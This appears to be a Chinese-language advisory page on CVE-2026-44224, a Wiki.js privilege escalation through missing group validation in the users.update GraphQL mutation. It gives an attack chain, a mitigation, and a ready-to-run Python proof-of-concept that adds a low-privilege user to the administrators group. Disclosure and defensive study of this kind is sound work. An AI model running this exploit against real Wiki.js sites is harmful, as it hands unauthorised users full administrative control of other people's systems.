IPBUF安全漏洞报告
English
CVE-2026-44224 CVSS 8.8 高危

CVE-2026-44224 Wiki.js权限提升漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-44224
漏洞类型
权限提升
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Wiki.js

相关标签

权限提升GraphQLWiki.jsCVE-2026-44224IDOR

漏洞概述

Wiki.js是基于Node.js的开源Wiki应用,其在2.5.313之前的版本存在严重的权限提升漏洞。该漏洞源于users.update GraphQL变更接口缺乏对groups参数的验证,导致拥有manage:users权限的用户可以绕过限制,将自身账户添加到管理员组,进而获得系统的完全管理权限。

技术细节

漏洞原理在于Wiki.js的GraphQL用户更新解析器存在严重的逻辑缺陷。在处理users.update变更时,系统未对传入的groups数组进行严格的权限校验或所有权检查,直接将调用者的参数传递给底层数据模型。攻击者只需拥有manage:users这一通常分配给版主的低级权限,即可通过构造特定的GraphQL请求,将groups参数指定为管理员组的ID(通常是ID为1)。由于系统缺乏对组ID合法性的验证,直接接受了该非法赋值操作。一旦数据库更新成功,攻击者只需重新登录或刷新JWT令牌,新令牌将包含manage:system最高权限,从而在单次调用中完成垂直权限提升,完全控制站点。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标Wiki.js版本低于2.5.313,并获取一个具有manage:users权限的低权限账户。
STEP 2
步骤2:权限提升
攻击者利用该账户向/users/update GraphQL端点发送恶意请求,将groups参数设置为管理员组ID(如1),将自己添加到管理员组。
STEP 3
步骤3:获取最高权限
系统接受变更后,攻击者重新登录或刷新JWT令牌,获取包含manage:system权限的管理员令牌,从而完全控制站点。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: Wiki.js < 2.5.313 - Privilege Escalation via GraphQL # Date: 2026-05-12 # Exploit Author: Analyst # Vendor Homepage: https://js.wiki/ # Version: < 2.5.313 # CVE: CVE-2026-44224 def exploit(target_url, attacker_token, attacker_user_id): """ Exploits the users.update GraphQL mutation to escalate privileges. Requires 'manage:users' permission. """ # The Administrators group ID is typically '1' admin_group_id = "1" headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } # GraphQL mutation to update the user's groups payload = { "query": """ mutation { users { update( id: "%s" groups: [%s] ) { responseResult { succeeded message } } } } """ % (attacker_user_id, admin_group_id) } try: response = requests.post(f"{target_url}/graphql", json=payload, headers=headers) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:", response.json()) print("[+] If succeeded, re-authenticate to receive Administrative JWT.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Configuration TARGET = "https://wiki.example.com" TOKEN = "YOUR_JWT_TOKEN_WITH_MANAGE_USERS_PERMISSION" USER_ID = "YOUR_USER_ID" exploit(TARGET, TOKEN, USER_ID)

影响范围

Wiki.js < 2.5.313

防御指南

临时缓解措施
如果无法立即升级,建议暂时撤销非管理员账户的manage:users权限,直到完成修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表